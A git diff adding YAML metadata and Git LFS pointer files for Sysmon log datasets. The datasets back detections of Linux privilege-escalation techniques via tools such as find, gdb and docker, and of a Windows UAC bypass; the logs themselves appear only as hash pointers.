sha256:6a1643ba49ce82acdd76b8795aab82f534a21e8bee27155b9edfa956eb14f20b +size 1501 diff --git a/datasets/attack_techniques/T1548/busybox/T1548_busybox.yml b/datasets/attack_techniques/T1548/busybox/T1548_busybox.yml new file mode 100644 index 000000000..02deab707 --- /dev/null +++ b/datasets/attack_techniques/T1548/busybox/T1548_busybox.yml @@ -0,0 +1,12 @@ +author: STRT +id: f9352d74-358b-4e0f-9a75-457f28055361 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Busybox Privilege Escalation +environment: attack_range +directory: busybox +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/busybox/sysmon_linux-f9352d74-358b-4e0f-9a75-457f28055361.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/busybox/sysmon_linux-f9352d74-358b-4e0f-9a75-457f28055361.log b/datasets/attack_techniques/T1548/busybox/sysmon_linux-f9352d74-358b-4e0f-9a75-457f28055361.log new file mode 100644 index 000000000..5c9938e25 --- /dev/null +++ b/datasets/attack_techniques/T1548/busybox/sysmon_linux-f9352d74-358b-4e0f-9a75-457f28055361.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eb5ab70d1318a10e8aa87087367b6b90b9612fafe7e34f2241aa4009030f6d9b +size 1473 diff --git a/datasets/attack_techniques/T1548/c89/T1548_c89.yml b/datasets/attack_techniques/T1548/c89/T1548_c89.yml new file mode 100644 index 000000000..6ec33327e --- /dev/null +++ b/datasets/attack_techniques/T1548/c89/T1548_c89.yml @@ -0,0 +1,12 @@ +author: STRT +id: de9ce0c8-1155-4f8a-9848-1f9c5f504884 +date: '2026-07-10' +description: Curated attack data generated for detection Linux c89 Privilege Escalation +environment: attack_range +directory: c89 +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/c89/sysmon_linux-de9ce0c8-1155-4f8a-9848-1f9c5f504884.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/c89/sysmon_linux-de9ce0c8-1155-4f8a-9848-1f9c5f504884.log b/datasets/attack_techniques/T1548/c89/sysmon_linux-de9ce0c8-1155-4f8a-9848-1f9c5f504884.log new file mode 100644 index 000000000..c7f77de09 --- /dev/null +++ b/datasets/attack_techniques/T1548/c89/sysmon_linux-de9ce0c8-1155-4f8a-9848-1f9c5f504884.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5fd396aa37f8920c8cae6be68a99005656c3ba1ee299d9ba03a115b1b2b75808 +size 4463 diff --git a/datasets/attack_techniques/T1548/c99/T1548_c99.yml b/datasets/attack_techniques/T1548/c99/T1548_c99.yml new file mode 100644 index 000000000..c75e4ad1a --- /dev/null +++ b/datasets/attack_techniques/T1548/c99/T1548_c99.yml @@ -0,0 +1,12 @@ +author: STRT +id: 3c6bc082-274e-401b-93cd-04492c9f41a0 +date: '2026-07-10' +description: Curated attack data generated for detection Linux c99 Privilege Escalation +environment: attack_range +directory: c99 +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/c99/sysmon_linux-3c6bc082-274e-401b-93cd-04492c9f41a0.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/c99/sysmon_linux-3c6bc082-274e-401b-93cd-04492c9f41a0.log b/datasets/attack_techniques/T1548/c99/sysmon_linux-3c6bc082-274e-401b-93cd-04492c9f41a0.log new file mode 100644 index 000000000..db582d7c1 --- /dev/null +++ b/datasets/attack_techniques/T1548/c99/sysmon_linux-3c6bc082-274e-401b-93cd-04492c9f41a0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:405eee176bfde8af7b76b6d213c4cd3be5a4845dc0cdfbd569e820b70691c53b +size 1487 diff --git a/datasets/attack_techniques/T1548/composer/T1548_composer.yml b/datasets/attack_techniques/T1548/composer/T1548_composer.yml new file mode 100644 index 000000000..951bd5277 --- /dev/null +++ b/datasets/attack_techniques/T1548/composer/T1548_composer.yml @@ -0,0 +1,13 @@ +author: STRT +id: c2286c3e-4de9-4b74-bf90-a605509a7af0 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Composer Privilege + Escalation +environment: attack_range +directory: composer +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/composer/sysmon_linux-c2286c3e-4de9-4b74-bf90-a605509a7af0.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/composer/sysmon_linux-c2286c3e-4de9-4b74-bf90-a605509a7af0.log b/datasets/attack_techniques/T1548/composer/sysmon_linux-c2286c3e-4de9-4b74-bf90-a605509a7af0.log new file mode 100644 index 000000000..27fb07692 --- /dev/null +++ b/datasets/attack_techniques/T1548/composer/sysmon_linux-c2286c3e-4de9-4b74-bf90-a605509a7af0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b92c31eaa4f23444fe92aab83023bbf429b77f20b0d47c66e54652a61af46975 +size 3009 diff --git a/datasets/attack_techniques/T1548/cpulimit/T1548_cpulimit.yml b/datasets/attack_techniques/T1548/cpulimit/T1548_cpulimit.yml new file mode 100644 index 000000000..f2c2882d5 --- /dev/null +++ b/datasets/attack_techniques/T1548/cpulimit/T1548_cpulimit.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7f3ae12b-b7b2-4014-b9ef-3aa0fe232cb4 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Cpulimit Privilege + Escalation +environment: attack_range +directory: cpulimit +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/cpulimit/sysmon_linux-7f3ae12b-b7b2-4014-b9ef-3aa0fe232cb4.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/cpulimit/sysmon_linux-7f3ae12b-b7b2-4014-b9ef-3aa0fe232cb4.log b/datasets/attack_techniques/T1548/cpulimit/sysmon_linux-7f3ae12b-b7b2-4014-b9ef-3aa0fe232cb4.log new file mode 100644 index 000000000..00b96d76f --- /dev/null +++ b/datasets/attack_techniques/T1548/cpulimit/sysmon_linux-7f3ae12b-b7b2-4014-b9ef-3aa0fe232cb4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2b428cb3e25c9df67b04fbcd084b6cadcb826796f88e692c7e45c9a355f6d367 +size 2976 diff --git a/datasets/attack_techniques/T1548/csvtool/T1548_csvtool.yml b/datasets/attack_techniques/T1548/csvtool/T1548_csvtool.yml new file mode 100644 index 000000000..852afa1f2 --- /dev/null +++ b/datasets/attack_techniques/T1548/csvtool/T1548_csvtool.yml @@ -0,0 +1,12 @@ +author: STRT +id: 71cf17d8-124b-4218-894e-38ed98b8709f +date: '2026-07-10' +description: Curated attack data generated for detection Linux Csvtool Privilege Escalation +environment: attack_range +directory: csvtool +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/csvtool/sysmon_linux-71cf17d8-124b-4218-894e-38ed98b8709f.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/csvtool/sysmon_linux-71cf17d8-124b-4218-894e-38ed98b8709f.log b/datasets/attack_techniques/T1548/csvtool/sysmon_linux-71cf17d8-124b-4218-894e-38ed98b8709f.log new file mode 100644 index 000000000..acb7af72d --- /dev/null +++ b/datasets/attack_techniques/T1548/csvtool/sysmon_linux-71cf17d8-124b-4218-894e-38ed98b8709f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:55bd38c2b9f7f3cdb028c0aacff37094538bbc555255b3707c4f086072ce0bdd +size 1499 diff --git a/datasets/attack_techniques/T1548/darkside_cmstp_com/T1548_darkside_cmstp_com.yml b/datasets/attack_techniques/T1548/darkside_cmstp_com/T1548_darkside_cmstp_com.yml new file mode 100644 index 000000000..61aee8d75 --- /dev/null +++ b/datasets/attack_techniques/T1548/darkside_cmstp_com/T1548_darkside_cmstp_com.yml @@ -0,0 +1,12 @@ +author: STRT +id: c143dd1a-01a6-4b85-b40a-72bd95bc3e14 +date: '2026-07-10' +description: Curated attack data generated for detection CMLUA Or CMSTPLUA UAC Bypass +environment: attack_range +directory: darkside_cmstp_com +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1548/darkside_cmstp_com/windows-sysmon-c143dd1a-01a6-4b85-b40a-72bd95bc3e14.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/darkside_cmstp_com/windows-sysmon-c143dd1a-01a6-4b85-b40a-72bd95bc3e14.log b/datasets/attack_techniques/T1548/darkside_cmstp_com/windows-sysmon-c143dd1a-01a6-4b85-b40a-72bd95bc3e14.log new file mode 100644 index 000000000..4abf18863 --- /dev/null +++ b/datasets/attack_techniques/T1548/darkside_cmstp_com/windows-sysmon-c143dd1a-01a6-4b85-b40a-72bd95bc3e14.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:176142101dcc0c4178efa74a7737434906af66b07ffeacd094493e06cc709245 +size 1500 diff --git a/datasets/attack_techniques/T1548/docker/T1548_docker.yml b/datasets/attack_techniques/T1548/docker/T1548_docker.yml new file mode 100644 index 000000000..b308bcf30 --- /dev/null +++ b/datasets/attack_techniques/T1548/docker/T1548_docker.yml @@ -0,0 +1,13 @@ +author: STRT +id: 503ae583-2a0b-4157-aa9a-2c55cf124551 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Docker Root Directory + Mount +environment: attack_range +directory: docker +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/docker/sysmon_linux-503ae583-2a0b-4157-aa9a-2c55cf124551.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/docker/sysmon_linux-503ae583-2a0b-4157-aa9a-2c55cf124551.log b/datasets/attack_techniques/T1548/docker/sysmon_linux-503ae583-2a0b-4157-aa9a-2c55cf124551.log new file mode 100644 index 000000000..7d46ea969 --- /dev/null +++ b/datasets/attack_techniques/T1548/docker/sysmon_linux-503ae583-2a0b-4157-aa9a-2c55cf124551.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d7d6ed448d23929c92e6485b186bd54f71a0175865e2c71da208db3e24c881af +size 1516 diff --git a/datasets/attack_techniques/T1548/emacs/T1548_emacs.yml b/datasets/attack_techniques/T1548/emacs/T1548_emacs.yml new file mode 100644 index 000000000..0df381664 --- /dev/null +++ b/datasets/attack_techniques/T1548/emacs/T1548_emacs.yml @@ -0,0 +1,12 @@ +author: STRT +id: 273bc684-a0f7-4018-bf39-2337da12620a +date: '2026-07-10' +description: Curated attack data generated for detection Linux Emacs Privilege Escalation +environment: attack_range +directory: emacs +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/emacs/sysmon_linux-273bc684-a0f7-4018-bf39-2337da12620a.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/emacs/sysmon_linux-273bc684-a0f7-4018-bf39-2337da12620a.log b/datasets/attack_techniques/T1548/emacs/sysmon_linux-273bc684-a0f7-4018-bf39-2337da12620a.log new file mode 100644 index 000000000..e7924cd26 --- /dev/null +++ b/datasets/attack_techniques/T1548/emacs/sysmon_linux-273bc684-a0f7-4018-bf39-2337da12620a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:291f7c7e414b377f50bd10ce701c82dd75896d4196415ebad309a6afb0d43262 +size 6017 diff --git a/datasets/attack_techniques/T1548/find/T1548_find.yml b/datasets/attack_techniques/T1548/find/T1548_find.yml new file mode 100644 index 000000000..5b984d330 --- /dev/null +++ b/datasets/attack_techniques/T1548/find/T1548_find.yml @@ -0,0 +1,12 @@ +author: STRT +id: c61c4399-490c-493d-9a2c-7f00a6381809 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Find Privilege Escalation +environment: attack_range +directory: find +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/find/sysmon_linux-c61c4399-490c-493d-9a2c-7f00a6381809.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/find/sysmon_linux-c61c4399-490c-493d-9a2c-7f00a6381809.log b/datasets/attack_techniques/T1548/find/sysmon_linux-c61c4399-490c-493d-9a2c-7f00a6381809.log new file mode 100644 index 000000000..db573fab8 --- /dev/null +++ b/datasets/attack_techniques/T1548/find/sysmon_linux-c61c4399-490c-493d-9a2c-7f00a6381809.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bd3c7dde31c92a0c700f86adce47273ee5ceaa792e2e0c0138b77e809915c16d +size 4470 diff --git a/datasets/attack_techniques/T1548/gawk/T1548_gawk.yml b/datasets/attack_techniques/T1548/gawk/T1548_gawk.yml new file mode 100644 index 000000000..d15c6fdb8 --- /dev/null +++ b/datasets/attack_techniques/T1548/gawk/T1548_gawk.yml @@ -0,0 +1,12 @@ +author: STRT +id: 1302454d-7c60-4d5b-a2d1-fbc1af1da49e +date: '2026-07-10' +description: Curated attack data generated for detection Linux GNU Awk Privilege Escalation +environment: attack_range +directory: gawk +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/gawk/sysmon_linux-1302454d-7c60-4d5b-a2d1-fbc1af1da49e.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/gawk/sysmon_linux-1302454d-7c60-4d5b-a2d1-fbc1af1da49e.log b/datasets/attack_techniques/T1548/gawk/sysmon_linux-1302454d-7c60-4d5b-a2d1-fbc1af1da49e.log new file mode 100644 index 000000000..d9ceca5a9 --- /dev/null +++ b/datasets/attack_techniques/T1548/gawk/sysmon_linux-1302454d-7c60-4d5b-a2d1-fbc1af1da49e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8edb6015ac1160b780cdbf94446a9b035437cfc4afbc325912ced26019ecfb84 +size 3006 diff --git a/datasets/attack_techniques/T1548/gdb/T1548_gdb.yml b/datasets/attack_techniques/T1548/gdb/T1548_gdb.yml new file mode 100644 index 000000000..69bae504d --- /dev/null +++ b/datasets/attack_techniques/T1548/gdb/T1548_gdb.yml @@ -0,0 +1,12 @@ +author: STRT +id: cb5166ac-0e90-4cdc-8dda-697ad947fdaf +date: '2026-07-10' +description: Curated attack data generated for detection Linux GDB Privilege Escalation +environment: attack_range +directory: gdb +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/gdb/sysmon_linux-cb5166ac-0e90-4cdc-8dda-697ad947fdaf.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/gdb/sysmon_linux-cb5166ac-0e90-4cdc-8dda-697ad947fdaf.log b/datasets/attack_techniques/T1548/gdb/sysmon_linux-cb5166ac-0e90-4cdc-8dda-697ad947fdaf.log new file mode 100644 index 000000000..f49bc8d63 --- /dev/null +++ b/datasets/attack_techniques/T1548/gdb/sysmon_linux-cb5166ac-0e90-4cdc-8dda-697ad947fdaf.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:68ef51655c86d731ce3677d3d913315dd2ec04598c1d21526d53ac3fec7bf6e9 +size 8912 diff --git a/datasets/attack_techniques/T1548/gem/T1548_gem.yml b/datasets/attack_techniques/T1548/gem/T1548_gem.yml new file mode 100644 index 000000000..54ed06746 --- /dev/null +++ b/datasets/attack_techniques/T1548/gem/T1548_gem.yml @@ -0,0 +1,12 @@ +author: STRT +id: b3d51437-3f9f-419f-a2f5-6809ae8c2462 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Gem Privilege Escalation +environment: attack_range +directory: gem +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/gem/sysmon_linux-b3d51437-3f9f-419f-a2f5-6809ae8c2462.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/gem/sysmon_linux-b3d51437-3f9f-419f-a2f5-6809ae8c2462.log b/datasets/attack_techniques/T1548/gem/sysmon_linux-b3d51437-3f9f-419f-a2f5-6809ae8c2462.log new file mode 100644 index 000000000..1417073b3 --- /dev/null +++ b/datasets/attack_techniques/T1548/gem/sysmon_linux-b3d51437-3f9f-419f-a2f5-6809ae8c2462.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c190fd8047f8db43b84aac2acbdc87c3a8bc7af5362d9fd26d1914ed7667a839 +size 2992 diff --git a/datasets/attack_techniques/T1548/mysql/T1548_mysql.yml b/datasets/attack_techniques/T1548/mysql/T1548_mysql.yml new file mode 100644 index 000000000..13cd2c685 --- /dev/null +++ b/datasets/attack_techniques/T1548/mysql/T1548_mysql.yml @@ -0,0 +1,12 @@ +author: STRT +id: 28e0d313-cbc7-407b-9d69-7b5db84009a0 +date: '2026-07-10' +description: Curated attack data generated for detection Linux MySQL Privilege Escalation +environment: attack_range +directory: mysql +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/mysql/sysmon_linux-28e0d313-cbc7-407b-9d69-7b5db84009a0.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/mysql/sysmon_linux-28e0d313-cbc7-407b-9d69-7b5db84009a0.log b/datasets/attack_techniques/T1548/mysql/sysmon_linux-28e0d313-cbc7-407b-9d69-7b5db84009a0.log new file mode 100644 index 000000000..833dd8414 --- /dev/null +++ b/datasets/attack_techniques/T1548/mysql/sysmon_linux-28e0d313-cbc7-407b-9d69-7b5db84009a0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0761b3e789d6652af2df6826e17a930154c50d76d874c4f160cbc28e6396285c +size 2960 diff --git a/datasets/attack_techniques/T1548/node/T1548_node.yml b/datasets/attack_techniques/T1548/node/T1548_node.yml new file mode 100644 index 000000000..59bcd95ba --- /dev/null +++ b/datasets/attack_techniques/T1548/node/T1548_node.yml @@ -0,0 +1,12 @@ +author: STRT +id: 9c821cc5-7a09-46ca-a6be-b9f26d8e1fd9 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Node Privilege Escalation +environment: attack_range +directory: node +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/node/sysmon_linux-9c821cc5-7a09-46ca-a6be-b9f26d8e1fd9.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/node/sysmon_linux-9c821cc5-7a09-46ca-a6be-b9f26d8e1fd9.log b/datasets/attack_techniques/T1548/node/sysmon_linux-9c821cc5-7a09-46ca-a6be-b9f26d8e1fd9.log new file mode 100644 index 000000000..c78e83f71 --- /dev/null +++ b/datasets/attack_techniques/T1548/node/sysmon_linux-9c821cc5-7a09-46ca-a6be-b9f26d8e1fd9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3d0fe0092fe66f542e81628155060649cfa9a8c8442177415d8419c3cacb1bb4 +size 1530 diff --git a/datasets/attack_techniques/T1548/octave/T1548_octave.yml b/datasets/attack_techniques/T1548/octave/T1548_octave.yml new file mode 100644 index 000000000..92bf07c18 --- /dev/null +++ b/datasets/attack_techniques/T1548/octave/T1548_octave.yml @@ -0,0 +1,12 @@ +author: STRT +id: ff6db0a5-dac2-4f97-b975-cc1014ca5210 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Octave Privilege Escalation +environment: attack_range +directory: octave +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/octave/sysmon_linux-ff6db0a5-dac2-4f97-b975-cc1014ca5210.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/octave/sysmon_linux-ff6db0a5-dac2-4f97-b975-cc1014ca5210.log b/datasets/attack_techniques/T1548/octave/sysmon_linux-ff6db0a5-dac2-4f97-b975-cc1014ca5210.log new file mode 100644 index 000000000..92342a2e2 --- /dev/null +++ b/datasets/attack_techniques/T1548/octave/sysmon_linux-ff6db0a5-dac2-4f97-b975-cc1014ca5210.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:473e54355ff6cb79dffb7a73fb5b7408d4f1f70ca0718d1714f04c6e3f4d5a69 +size 3014 diff --git a/datasets/attack_techniques/T1548/openvpn/T1548_openvpn.yml b/datasets/attack_techniques/T1548/openvpn/T1548_openvpn.yml new file mode 100644 index 000000000..30e1adf5d --- /dev/null +++ b/datasets/attack_techniques/T1548/openvpn/T1548_openvpn.yml @@ -0,0 +1,12 @@ +author: STRT +id: a734aebf-e6e2-4cea-b67b-04ff7b373545 +date: '2026-07-10' +description: Curated attack data generated for detection Linux OpenVPN Privilege Escalation +environment: attack_range +directory: openvpn +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/openvpn/sysmon_linux-a734aebf-e6e2-4cea-b67b-04ff7b373545.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/openvpn/sysmon_linux-a734aebf-e6e2-4cea-b67b-04ff7b373545.log b/datasets/attack_techniques/T1548/openvpn/sysmon_linux-a734aebf-e6e2-4cea-b67b-04ff7b373545.log new file mode 100644 index 000000000..1190ae2d5 --- /dev/null +++ b/datasets/attack_techniques/T1548/openvpn/sysmon_linux-a734aebf-e6e2-4cea-b67b-04ff7b373545.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:581de196395ed8145cf66a548103585a1a3a85892618c1146ba5c975a69ab567 +size 1520 diff --git a/datasets/attack_techniques/T1548/php/T1548_php.yml b/datasets/attack_techniques/T1548/php/T1548_php.yml new file mode 100644 index 000000000..761782e83 --- /dev/null +++ b/datasets/attack_techniques/T1548/php/T1548_php.yml @@ -0,0 +1,12 @@ +author: STRT +id: f8d3b38e-e9be-4fec-bd73-bb17236f4b18 +date: '2026-07-10' +description: Curated attack data generated for detection Linux PHP Privilege Escalation +environment: attack_range +directory: php +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/php/sysmon_linux-f8d3b38e-e9be-4fec-bd73-bb17236f4b18.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/php/sysmon_linux-f8d3b38e-e9be-4fec-bd73-bb17236f4b18.log b/datasets/attack_techniques/T1548/php/sysmon_linux-f8d3b38e-e9be-4fec-bd73-bb17236f4b18.log new file mode 100644 index 000000000..e47303f35 --- /dev/null +++ b/datasets/attack_techniques/T1548/php/sysmon_linux-f8d3b38e-e9be-4fec-bd73-bb17236f4b18.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:59c2985d799cdc3f33661122255e93d65569828446786bc65a40a21d3dbdc29c +size 2974 diff --git a/datasets/attack_techniques/T1548/puppet/T1548_puppet.yml b/datasets/attack_techniques/T1548/puppet/T1548_puppet.yml new file mode 100644 index 000000000..922b3616f --- /dev/null +++ b/datasets/attack_techniques/T1548/puppet/T1548_puppet.yml @@ -0,0 +1,12 @@ +author: STRT +id: eacc0fb8-11f0-4f5f-899c-40332885b40f +date: '2026-07-10' +description: Curated attack data generated for detection Linux Puppet Privilege Escalation +environment: attack_range +directory: puppet +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/puppet/sysmon_linux-eacc0fb8-11f0-4f5f-899c-40332885b40f.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/puppet/sysmon_linux-eacc0fb8-11f0-4f5f-899c-40332885b40f.log b/datasets/attack_techniques/T1548/puppet/sysmon_linux-eacc0fb8-11f0-4f5f-899c-40332885b40f.log new file mode 100644 index 000000000..0337398f8 --- /dev/null +++ b/datasets/attack_techniques/T1548/puppet/sysmon_linux-eacc0fb8-11f0-4f5f-899c-40332885b40f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1ca0a1c465933234e17f55f00053aa85e6dbc0a1dec9cde2d571535ed4e75476 +size 3140 diff --git a/datasets/attack_techniques/T1548/rpm/T1548_rpm.yml b/datasets/attack_techniques/T1548/rpm/T1548_rpm.yml new file mode 100644 index 000000000..b0a14b23b --- /dev/null +++ b/datasets/attack_techniques/T1548/rpm/T1548_rpm.yml @@ -0,0 +1,12 @@ +author: STRT +id: 8f56dfc5-78bd-49a4-810e-0c4f993819c5 +date: '2026-07-10' +description: Curated attack data generated for detection Linux RPM Privilege Escalation +environment: attack_range +directory: rpm +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/rpm/sysmon_linux-8f56dfc5-78bd-49a4-810e-0c4f993819c5.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/rpm/sysmon_linux-8f56dfc5-78bd-49a4-810e-0c4f993819c5.log b/datasets/attack_techniques/T1548/rpm/sysmon_linux-8f56dfc5-78bd-49a4-810e-0c4f993819c5.log new file mode 100644 index 000000000..4b8ce008e --- /dev/null +++ b/datasets/attack_techniques/T1548/rpm/sysmon_linux-8f56dfc5-78bd-49a4-810e-0c4f993819c5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7dba1c2cb5deb5d194e7d0db15115fba8d147a498fbd1ff0a8827c4b1db3c4e1 +size 3022 diff --git a/datasets/attack_techniques/T1548/ruby/T1548_ruby.yml b/datasets/attack_techniques/T1548/ruby/T1548_ruby.yml new file mode 100644 index 000000000..2dd7e24ea --- /dev/null +++ b/datasets/attack_techniques/T1548/ruby/T1548_ruby.yml @@ -0,0 +1,12 @@ +author: STRT +id: 616ca358-c0a0-47e0-95ba-1bee0d2bacc4 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Ruby Privilege Escalation +environment: attack_range +directory: ruby +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/ruby/sysmon_linux-616ca358-c0a0-47e0-95ba-1bee0d2bacc4.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/ruby/sysmon_linux-616ca358-c0a0-47e0-95ba-1bee0d2bacc4.log b/datasets/attack_techniques/T1548/ruby/sysmon_linux-616ca358-c0a0-47e0-95ba-1bee0d2bacc4.log new file mode 100644 index 000000000..b29b69a1f --- /dev/null +++ b/datasets/attack_techniques/T1548/ruby/sysmon_linux-616ca358-c0a0-47e0-95ba-1bee0d2bacc4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fa35baa41772744ee4ba29bcf03616104e4a2154af86c3f9b63bac04376de1e9 +size 2986 diff --git a/datasets/attack_techniques/T1548/sqlite3/T1548_sqlite3.yml b/datasets/attack_techniques/T1548/sqlite3/T1548_sqlite3.yml new file mode 100644 index 000000000..e5cb2c6f9 --- /dev/null +++ b/datasets/attack_techniques/T1548/sqlite3/T1548_sqlite3.yml @@ -0,0 +1,12 @@ +author: STRT +id: 26677266-c2f8-4864-9bbd-aead81256552 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Sqlite3 Privilege Escalation +environment: attack_range +directory: sqlite3 +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1548/sqlite3/sysmon_linux-26677266-c2f8-4864-9bbd-aead81256552.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1548/sqlite3/sysmon_linux-26677266-c2f8-4864-9bbd-aead81256552.log b/datasets/attack_techniques/T1548/sqlite3/sysmon_linux-26677266-c2f8-4864-9bbd-aead81256552.log new file mode 100644 index 000000000..e9786eaa8 --- /dev/null +++ b/datasets/attack_techniques/T1548/sqlite3/sysmon_linux-26677266-c2f8-4864-9bbd-aead81256552.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:098fc1775e5ec1228e63139a8e8cd16a0110f61c7eeb9611249ae2875aa21051 +size 4488 diff --git a/datasets/attack_techniques/T1548/telnet/T1548_telnet.yml b/datasets/attack_techniques/T1548/telnet/T1548_telnet.yml new file mode 100644 index 000000000..b9a52f5b7 --- /dev/null +++ b/datasets/attack_techniques/T1548/telnet/T1548_telnet.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4354392c-f5e3-4f05-bd99-e91f09959701 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Telnet Authentication + Bypass +environment: attack_range +directory: telnet +mitre_technique: [] +datasets: +- name: sysmon_linux + path: 